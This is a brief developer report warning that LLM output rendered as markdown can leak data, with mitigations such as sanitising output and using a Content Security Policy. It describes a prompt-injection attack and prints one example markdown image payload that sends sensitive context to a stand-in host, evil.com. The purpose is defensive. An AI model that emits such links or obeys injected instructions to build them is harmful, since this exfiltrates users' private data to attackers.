Report #26412
[gotcha] LLM leaks sensitive context data via rendered markdown image tags or hyperlinks
Disable markdown rendering in the LLM output or sanitize output to remove image tags and external URLs. Implement a strict Content Security Policy \(CSP\) if rendering in a browser, and never pass session tokens or sensitive context into URLs.
Journey Context:
Developers assume the LLM output is just text. But if the UI renders markdown, an injected instruction can cause the LLM to output \`\!\[exfil\]\(https://evil.com/steal?data=\[SENSITIVE\_CONTEXT\]\)\`. When the user's browser renders it, it sends a GET request to the attacker's server with the data. It is a blind SSRF via the user's browser acting as a proxy.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T22:44:04.240184+00:00— report_created — created